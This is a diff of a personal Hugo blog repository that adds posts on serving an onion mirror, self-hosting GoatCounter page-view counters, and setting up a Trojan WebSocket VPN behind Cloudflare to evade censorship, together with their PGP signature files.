ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
# HSTS on clearnet only
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
# Help Tor Browser discover the onion mirror (safe on clearnet)
add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
root /srv/hugo/mysite/public-clearnet;
index index.html;
location / { try_files $uri $uri/ /index.html; }
}
```
> Note: dont add HSTS or HTTPS redirects to the **onion** vhost. Keep onion pure HTTP on localhost.
---
## 6) Troubleshooting I ran into (and fixes)
- **Tor unit confusion:** `tor.service` is a tiny master; the real daemon is `tor@default`. Use that unit and verify config as `debian-tor`.
- **Permissions:** `HiddenServiceDir` must be owned by `debian-tor` and mode `700`.
- **Mapping mismatch:** If `HiddenServicePort 80 127.0.0.1:3301` is set, visit `http://<onion>/` (no `:3301`). If you set `HiddenServicePort 3301 127.0.0.1:3301`, you must use `http://<onion>:3301/`.
- **Curl & .onion:** modern curl refuses `.onion` unless you use remote DNS via SOCKS:
```bash
curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
```
- **Two Nginx vhosts on the same port:** I had a duplicate server on `127.0.0.1:3301` pointing somewhere else, which caused onion 404s. Keep only one (or mark one `default_server`).
- **Regex in `server_name`:** if you use it, write `server_name ~* \.onion$` (space after `~*`). I fixed an `invalid variable name` error caused by a missing space.
- **PaperMod with old Hugo:** upgraded to **extended ≥ 0.146.0**. Also updated `paginate``[pagination].pagerSize`.
- **Snap confinement:** Snaps `hugo` couldnt read `/srv` (`.../void: permission denied`). Switched to the tarball build in `/usr/local/bin`.
---
## 7) “Not secure” in Tor Browser?
That message can appear because onion uses **HTTP**. Its OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesnt reference **clearnet** resources (scan the built HTML for `http(s)://` links that arent your onion).
---
## 8) Day-to-day workflow
- Create content:
```bash
hugo new posts/my-first-post.md # then set draft: false
```
- Publish both:
```bash
build-both
```
- (Optional) Auto on save:
```bash
find content layouts assets static config -type f | entr -r build-both
```
- (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs `build-both`.
---
## Final notes
- Clearnet gets **HTTPS + HSTS** and an `Onion-Location` header.
- Onion gets **no HSTS/redirects**, and all assets are self-hosted to avoid mixed content.
- Serving both worlds from one Hugo repo is easy: **two builds, two vhosts, one workflow**.
---
{{< sigdl >}}

View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBAYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qZ0YQALKtL3KlVh0wBomD2nQ/2qnY
uV6OAGJ1nREjONc6TSHHaC7bPCwpRhyaYWpcAgcW1Si7A+Q6s3ocaHgGBd0rGCVV
96r12uq96bGX5uNtlyjCoTuJm+p6nq3pL/TWmjnxH9OKYSmFe3U4TTQtrlTc0B5t
BGbth8H7TtRVyXekQ2HD8pfLsDhmZQZr44EcMYcMjqAj9n/QHptDPghrPufeXM/e
OdOOftYJ4SjLVEDf2aJUzugmzWVG2W23XE3PMIixNXuvfOPJD1twRv+0dIo8+L9L
P4yS7DRxUnwjZpyTHOdoO95iI0eM1czOI5sf5+KcPJE4FMHfupVeAVhX70wzZfyO
ce9C8qbeJgtrm3Wd+K2EcqQpyguefXTcOA03WRW1fWej/FBykZ87TWsBkz3qixpV
pFX7xfpKNVqrSDEV2/3UhJjt5nY9rDKenwoBCChwc3JKWuIr/qmAKy4wEInywwY8
gBnVmr/te2yn8lthVuDRkHvDmtnD+lIpHyRhFuGXiW1ny55Sk/UFF0fTqT7vIsa0
lfbgcAO8IIZPpIN/KVpbYk4FUOU4xYwwKpA7mGrgj7Fy0oOZSlSqaQkSdYGjwRLk
j9X2blNsl5c+VHJkyGudAJl4iALB71gslhSgmyPTaFBQm9iAFGOLp1uR8p5tPYSz
c4TOiuBGZ0yYTcJRnwZC
=y9O1
-----END PGP SIGNATURE-----

400
content/posts/view_count.md Normal file
View file

@ -0,0 +1,400 @@
---
title: "A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT)"
date: 2025-10-18T10:45:00
slug: papermod-views-debugging-story
summary: "I tried to add a simple 'views' counter to my PaperMod blog. It worked—until it didnt. Heres the story of blank numbers, a mysterious Chinese message, and the final fix."
tags: ["Hugo", "PaperMod", "Analytics", "Debugging", "Busuanzi", "Vercount", "GoatCounter"]
categories: ["Stories"]
draft: false
---
I only wanted a tiny **“views”** badge next to my RSS link—just a friendly nudge that real humans were reading my words. PaperMod makes it easy to tuck little UI bits in the footer, so I dropped in Busuanzi (that neat, no-account page/site view counter) and called it a day.
The thing is, I don't think the counter even works correctly.
Or maybe I'm undermining my blog popularity!
But regardless, it was a small stiching task that I did on this lovely Friday evening.
The day before my next term of German class starts.
The day before playing deadface CTF that I've been counting days for.
### The neat footer row
First I got the layout right. PaperMod supports extension partials, so I used a simple flex row to keep things side by side:
```html
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
{ partial "svg.html" (dict "name" "rss") }
<span>RSS</span>
</a>
<span aria-hidden="true">·</span>
<span id="busuanzi_container_site_pv">
Site views: <span id="busuanzi_value_site_pv"></span>
</span>
<span aria-hidden="true">·</span>
<span id="busuanzi_container_site_uv">
Visitors: <span id="busuanzi_value_site_uv"></span>
</span>
</div>
```
So far, so good. The labels showed up. The numbers, though? **Nothing.** Just an em dash. I shrugged—maybe it was a caching thing.
### The first round of checks
I added the script sitewide in `layouts/partials/extend_head.html`:
```html
<script src="//cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js" defer></script>
```
Refreshed. Still blank.
**DevTools time.** Network tab: the script **does** load:
- **Request URL:** `https://cdn.busuanzi.cc/busuanzi/3.6.9/busuanzi.min.js`
- **Request Method:** GET
- **Status Code:** 304 Not Modified
- **Referrer Policy:** strict-origin-when-cross-origin
- **User-Agent:** a normal Chromium build (nothing exotic)
No red flags. Just a perfectly normal 304.
Maybe my IDs were wrong? Busuanzi has a couple of flavors: `busuanzi_value_*` (with container wrappers) or shorthand like `busuanzi_site_pv`. I tried **both**, carefully, one at a time. Still… **—**.
### The odd message
Then it flashed for a moment—the Chinese line that made me google twice to be sure I saw it right:
> **“域名过长,已被禁用 views”**
Thats “domain name too long, disabled.” Wait, what?
I checked my hostname: **`blog.alipourimjourneys.ir`**. I counted: **27 characters**. Busuanzis limit? **22.** Suddenly, everything clicked. The script loads, but the service refuses to count for long domains, so the placeholders never fill.
### Two ways out
At this point I had two clean options:
1. **Keep Busuanzi** and move the site to the **apex domain** (short enough).
2. Keep my beloved `blog.` subdomain and swap in **Vercount**, a Busuanzistyle dropin without the 22char limit.
I liked the subdomain (habit, mostly), so I tried **Vercount**.
### The swap (five-minute fix)
I removed the Busuanzi script and added Vercount instead:
```html
<!-- extend_head.html -->
<script defer src="https://events.vercount.one/js"></script>
```
I kept the same tidy footer row, but switched the IDs to Vercounts:
```html
<div class="site-meta-row" style="display:flex;align-items:center;gap:.75rem;flex-wrap:wrap;">
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS"
class="rss-link" style="display:inline-flex;align-items:center;gap:.35rem;">
{ partial "svg.html" (dict "name" "rss") }
<span>RSS</span>
</a>
<span aria-hidden="true">·</span>
<span>Site views: <span id="vercount_value_site_pv"></span></span>
<span aria-hidden="true">·</span>
<span>Visitors: <span id="vercount_value_site_uv"></span></span>
</div>
```
For perpost counts (in the post meta), I added:
```html
<span id="vercount_value_page_pv"></span> views
```
Deploy. Refresh. **Numbers.**
### But if you want to stay with Busuanzi…
If your apex domain is short enough, pointing the site there works fine. The gist:
- Set `baseURL` in Hugo to the apex:
```toml
baseURL = "https://alipourimjourneys.ir/"
```
- Add a 301 redirect from the long subdomain to the apex (Cloudflare, Netlify, Nginx—pick your tool).
- Keep your Busuanzi spans as you had them; once the host fits the limit, theyll populate.
### Postmortem checklist (a.k.a. things I learned)
- **If the script loads but you get blanks**, its not always IDs or caching. Sometimes its a **service rule**.
- **Busuanzi refuses long hostnames** (>22 chars) and ignores localhost. On those hosts, the placeholders stay empty or show the Chinese “disabled” note.
- **Dont mix providers** on the same page. Load exactly one script (Busuanzi *or* Vercount).
- **CSP and blockers matter.** If you run a strict ContentSecurityPolicy or heavy ad blockers, they can block the script. Test in a clean profile and allow the script origin.
### Happy ending
Now my footer shows RSS, site views, and visitors on a single neat line, and each post has a tiny “views” chip that quietly ticks upward. I got the tiny badge I wanted—and a reminder that the smallest features can hide the most interesting puzzles.
If you hit the same wall, check the hostname length first. It might save you an afternoon—and lead you to a solution youll feel weirdly proud of.
### Final notes
Yea... I just felt this feature was missing, and it's good to have it there.
I hope I stop adding things to the blog, and just keep writing in it.
I've spent too much time on it, and it feels like wasted time.
---
## Change of plans: Selfhosting GoatCounter for PaperMod (Docker + Cloudflare + Onion)
This is the **selfhost** part I ended up with: Docker for GoatCounter, Cloudflare (orangecloud) in front, Nginx on the server as reverse proxy, plus my `.onion` mirror counting to the same GoatCounter site. Paste this whole section at the end of the post.
---
### 1) Clean up old counters (optional, once)
```bash
# From your Hugo site root
grep -RinE "busuanzi|vercount|vercount_value_|busuanzi_value_" .
```
Remove any matching `<script>` and leftover `*_value_*` spans you no longer want.
---
### 2) Run GoatCounter with Docker Compose
Minimal `docker-compose.yml` in `~/goatcounter`:
```yaml
services:
goatcounter:
image: arp242/goatcounter:2.6
container_name: goatcounter
ports:
- "127.0.0.1:8081:8080" # bind only to localhost; nginx will proxy
volumes:
- goatcounter-data:/home/goatcounter/goatcounter-data
restart: unless-stopped
volumes:
goatcounter-data: {}
```
Start:
```bash
docker compose pull && docker compose up -d
```
Initialize the site (replace email if needed):
```bash
docker compose exec goatcounter goatcounter db create site -vhost=statsblog.alipourimjourneys.ir -user.email=iman.alip2001@gmail.com
```
> If you ever see “no site at this domain” on localhost: use the exact **vhost** above.
---
### 3) Cloudflare + Origin certificate (CF → origin TLS)
- DNS: `statsblog.alipourimjourneys.ir` → server IP (**proxied/orange**).
- SSL/TLS mode: **Full (strict)**.
- Issue a **Cloudflare Origin Certificate** for `statsblog.alipourimjourneys.ir` and save on the server:
```bash
sudo mkdir -p /etc/ssl/cloudflare
sudo nano /etc/ssl/cloudflare/origin.crt # paste PEM
sudo nano /etc/ssl/cloudflare/origin.key # paste key
sudo chown root:root /etc/ssl/cloudflare/origin.{crt,key}
sudo chmod 644 /etc/ssl/cloudflare/origin.crt
sudo chmod 600 /etc/ssl/cloudflare/origin.key
```
---
### 4) Nginx vhost for the stats subdomain
```nginx
# /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf
server {
listen 80;
server_name statsblog.alipourimjourneys.ir;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name statsblog.alipourimjourneys.ir;
ssl_certificate /etc/ssl/cloudflare/origin.crt;
ssl_certificate_key /etc/ssl/cloudflare/origin.key;
# Proxy to the container on localhost
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
location / { proxy_pass http://127.0.0.1:8081; }
}
```
Enable & reload:
```bash
sudo ln -s /etc/nginx/sites-available/statsblog.alipourimjourneys.ir.conf /etc/nginx/sites-enabled/
sudo nginx -t && sudo systemctl reload nginx
```
---
### 5) Hugo integration (clearnet + onion, singular/plural + “0 views”)
Selfhost `count.js` so the onion mirror never fetches a thirdparty script:
- Save the official `count.js` as `static/js/count.js` in your Hugo repo.
Then add this to `layouts/partials/extend_head.html` **(loader + helper)**:
```html
<!-- Loader: choose endpoint based on hostname -->
<script>
(function () {
var ONION = /\.onion$/i.test(location.hostname);
window.goatcounter = { endpoint: ONION ? '/count' : 'https://statsblog.alipourimjourneys.ir/count' };
var s = document.createElement('script');
s.async = true; s.src = '/js/count.js';
document.head.appendChild(s);
})();
</script>
<!-- Helper: inline meta counts (post pages + lists) and totals -->
<script>
(function () {
const ONION = /\.onion$/i.test(location.hostname);
const GC_HOST = ONION ? '' : 'https://statsblog.alipourimjourneys.ir'; // '' = same-origin on .onion
const SING='view', PLUR='views';
const nf = new Intl.NumberFormat();
function ready(fn){ if (document.readyState !== 'loading') fn(); else document.addEventListener('DOMContentLoaded', fn); }
function gcPath(){ try { return (window.goatcounter && window.goatcounter.get_data) ? window.goatcounter.get_data().p : location.pathname; } catch { return location.pathname; } }
async function fetchCount(path){
try {
const r = await fetch(`${GC_HOST}/counter/${encodeURIComponent(path)}.json?t=${Date.now()}`, { credentials:'omit' });
if (r.status === 404) return 0;
if (!r.ok) throw 0;
const j = await r.json();
const n = Number(String(j.count).replace(/,/g,''));
return Number.isFinite(n) ? n : 0;
} catch { return null; }
}
const label = (n) => (n === null ? '—' : `${nf.format(n)} ${n === 1 ? SING : PLUR}`);
ready(async function () {
// A) Single post: add to existing meta row + small bottom
const post = document.querySelector('.post-single');
if (post) {
const meta = post.querySelector('.post-header .post-meta, .post-header .entry-meta, .post-meta');
const path = gcPath();
const n = await fetchCount(path);
if (meta) {
let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
span.textContent = label(n ?? 0);
}
const after = post.querySelector('.post-content') || post;
let bottom = post.querySelector('.post-views-bottom'); if (!bottom) { bottom = document.createElement('div'); bottom.className='post-views-bottom'; after.insertAdjacentElement('afterend', bottom); }
bottom.textContent = label(n ?? 0);
}
// B) Lists (/posts, home, sections): show “0 views” instead of hiding
const cards = document.querySelectorAll('article.post-entry');
await Promise.all(Array.from(cards).map(async (card) => {
const meta = card.querySelector('.entry-footer, .post-meta');
const link = card.querySelector('a.entry-link, h2 a, .entry-title a');
if (!meta || !link) return;
try {
const u = new URL(link.getAttribute('href'), location.origin);
if (u.origin !== location.origin) return;
let span = meta.querySelector('.post-views'); if (!span) { span = document.createElement('span'); span.className='post-views'; meta.appendChild(span); }
const n = await fetchCount(u.pathname);
span.textContent = label(n ?? 0);
} catch {}
}));
// C) Site totals (optional placeholders)
const pvEl = document.getElementById('vercount_value_site_pv');
if (pvEl) { const n = await fetchCount('TOTAL'); pvEl.textContent = (n===null) ? '—' : nf.format(n); }
});
})();
</script>
```
Style so meta items stay inline with middle dots (PaperModlike). Put this in `assets/css/extended/goatcounter.css`:
```css
.post-single .post-header .post-meta,
.post-single .post-header .entry-meta,
.post-entry .entry-footer,
.post-entry .post-meta {
display:flex; align-items:center; flex-wrap:wrap; gap:.35rem;
}
.post-single .post-header .post-meta > *,
.post-single .post-header .entry-meta > *,
.post-entry .entry-footer > *,
.post-entry .post-meta > * {
display:inline-flex; align-items:center; white-space:nowrap;
}
.post-single .post-header .post-meta > * + *::before,
.post-single .post-header .entry-meta > * + *::before,
.post-entry .entry-footer > * + *::before,
.post-entry .post-meta > * + *::before {
content:"·"; margin:0 .5rem; opacity:.6;
}
.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; }
```
---
### 6) Count Tor (.onion) visits **into the same site**
In the **.onion** server block, proxy GoatCounter endpoints to the same site by forcing the Host header:
```nginx
# inside: server { ... } for fjthpp2h3mj2r....onion
location = /count {
proxy_pass http://127.0.0.1:8081/count;
proxy_set_header Host statsblog.alipourimjourneys.ir;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto http; # onion is http
}
location /counter/ {
proxy_pass http://127.0.0.1:8081/counter/;
proxy_set_header Host statsblog.alipourimjourneys.ir;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto http;
add_header Cache-Control "no-store";
proxy_no_cache 1; proxy_cache_bypass 1;
}
```
Because the loader above sets `window.goatcounter.endpoint` to `/count` on `.onion`, both **hits** and **reads** stay on the onion origin and are tallied into the same GoatCounter site.
> **Note on DNT/Tor:** Tor Browser sends `DNT: 1`. GoatCounter respects DNT by default, so Tor users wont be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way.
---
### 7) Troubleshooting quick notes
- **400 “no site at this domain”** → create the site with `-vhost=statsblog.alipourimjourneys.ir` or fix your proxy `Host` header.
- **Counts dont change on onion** → verify Tor path via `torsocks`, watch logs:
```bash
docker compose logs -f goatcounter
# look for “ignored: bot” (curl UA), or DNT being respected
```
- **DevTools sanity** → on clearnet you should see `https://statsblog…/count` and `…/counter/*.json`; on onion you should see `/count` and `/counter/*.json` (sameorigin).
Thats it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere.
Honestly, self-hosting GoatCounter wasn't as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it's done and dusted, and I'm a happy puppy! :D
---
{{< sigdl >}}

17
content/posts/vpn.asc Normal file
View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxN4QAJvcmo9uQXTpPSE6AUa53k/i
aCyquJMY44qCUgaw3/LDlRYsXsrLpI9sG89hfLfqxq1L3nEBrvtLyRdp+UiNSBFh
TcETYJQkajXE/BRnboSQ3fMoA163GRYTPdIOhlximKZrEqiYl6IqFZBJXLvcELJC
nNmQ5Wo61Bxi/+relQvCbXwISpFwDxZjcEIP6p4dTSIqAXMPzCRShJcGbswDSYDq
KuzK4HvB6YSeMolyAmDONTgb9V35fAzeWjYVqRM6r/WaBjgjaJE8x/d/Jb8zghjb
YdQc256bqEBjd7KCxmBE/828yJUd5hhdVX16i59NdnvdywoemAmV7bvR1pbFrnEA
GWWSF7Xl33c90Z39GGD7tCHuKKRS95s7DpL1g+fGtAvCnYfyvaCpp8i8DAZf24WL
v0Il/pBwQDddrYuCGmNCU1s28pr5FzAGxbjtIgrnd2qppcYOfMsccW7qDDNLaQu5
cCAGqlohuPUsieuqArWnCqvreTdGHH/WLCwKtAroS7NzTcJN5lvX656gdRvjGgnU
NXBDojkEq+xufE8QEEs/Ea2Cck2/c3y0cI4AcQwSw8sEPYqD6Mzke/2asm0MYmXw
OVVcvGH6+6xsSWS5SBMrQ4vT0c5//eNHe6iSqSKz8Sf08sq+DB6qlFLpGZ34RFcd
rJJcAi3T+TfWWP2WoFIi
=tFX5
-----END PGP SIGNATURE-----

177
content/posts/vpn.md Normal file
View file

@ -0,0 +1,177 @@
---
title: "Stealth Trojan VPN Behind Cloudflare Guide"
date: 2025-09-09T11:05:00+02:00
draft: false
tags: ["VPN", "Trojan", "Cloudflare", "Xray", "3x-ui", "Bypass", "Privacy", "Debugging"]
categories: ["Guides"]
---
## Introduction
So you want a VPN that **doesn't scream "I am a VPN"** to every censor and firewall out there?
Welcome to the world of **Trojan over WebSocket + TLS behind Cloudflare**.
This guide not only shows you how to set it up but also sprinkles in some **debugging magic** so you can figure out why things break (and they *will* break, trust me).
Well anonymise domains and secrets, so substitute with your own:
- VPN domain: `web.example.com`
- Panel domain: `panel.example.com`
- Secret WS path: `/stealth-path_abcd1234`
- Password: `<PASSWORD>`
---
## Architecture at a Glance
Think of it as a disguise party:
- **Trojan** = the shy guest (your VPN protocol)
- **Nginx** = the bouncer checking IDs (reverse proxy)
- **Cloudflare** = the doorman who makes sure nobody sees who's inside (CDN & proxy)
- **Your fake website** = the mask (camouflage page)
Traffic flow:
```
Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321)
```
---
## Step 1: Panel Setup (`panel.example.com`)
- Bind the 3x-ui panel to localhost (e.g., `127.0.0.1:46309`).
- Choose a funky **web base path** like `/panel-bananas_42/`.
- Proxy it through Nginx with HTTPS + Basic Auth.
- Test it at `https://panel.example.com/panel-bananas_42/`.
**Pro tip:** If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!
---
## Step 2: Trojan Inbound
In 3x-ui, create a Trojan inbound:
- Local port: `54321`
- Transport: WebSocket
- Path: `/stealth-path_abcd1234`
- Security: none
- Password: `<PASSWORD>`
---
## Step 3: Nginx for VPN Domain (`web.example.com`)
Your Nginx is the gatekeeper. Sample config:
```nginx
server {
listen 443 ssl http2;
server_name web.example.com;
ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
# Fake website at root
location / {
root /var/www/html;
index index.html;
}
# Real VPN under secret WS path
location /stealth-path_abcd1234 {
proxy_pass http://127.0.0.1:54321;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
}
}
```
---
## Step 4: Firewall Rules
Lock things down! Only Cloudflare should reach you:
```bash
ufw allow 22/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw deny 54321/tcp
```
---
## Step 5: Client Config
Trojan URI:
```
trojan://<PASSWORD>@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN
```
iOS clients: Shadowrocket, Stash, FoXray
Android clients: v2rayNG, Clash Meta, NekoBox
---
## Debugging Time (a.k.a. “Why the heck doesnt it work?!”)
### Symptom: **520 Unknown Error (Cloudflare)**
- Likely cause: Nginx couldnt talk to Trojan.
- Check Nginx error log:
```bash
tail -n 50 /var/log/nginx/error.log
```
- If you see `upstream sent no valid HTTP/1.0 header` → youre mixing HTTPS/HTTP between Nginx and Trojan.
---
### Symptom: **526 Invalid SSL certificate**
- Cloudflare → Nginx cert mismatch.
- Run:
```bash
openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
```
- Make sure CN = `web.example.com`. If not, fix your cert.
---
### Symptom: **Blank page on panel**
- Check if the base path matches exactly (case-sensitive, slash-sensitive).
- Watch for sneaky trailing spaces!
- Test locally:
```bash
curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
```
---
### Symptom: **Client wont connect**
- Run a WebSocket test:
```bash
curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
```
Expect `101 Switching Protocols`. If not, check Nginx config.
---
### Symptom: **Censor still blocks you**
- Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
→ Theyll find your origin IP. Use a second VPS or lock those ports down.
- Did you use an obvious path like `/ws`?
→ Use a random-looking one like `/cdn-assets-329df/`.
---
## Pro Tips & Fun Tricks
- Serve a fake blog or portfolio at root so your domain looks legit.
- Rotate WebSocket paths occasionally.
- Use Cloudflare **Page Rules** to disable Rocket Loader & Minify for your VPN domain.
- Make friends with your Nginx error.log — it will roast you but it tells the truth.
---
## Conclusion
By putting Trojan behind Cloudflare, youve given your VPN a shiny new disguise:
- Looks like normal HTTPS.
- Hides your origin IP.
- Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
Congrats — youve built a VPN with both **style** and **stealth**. 🥷
---
{{< sigdl >}}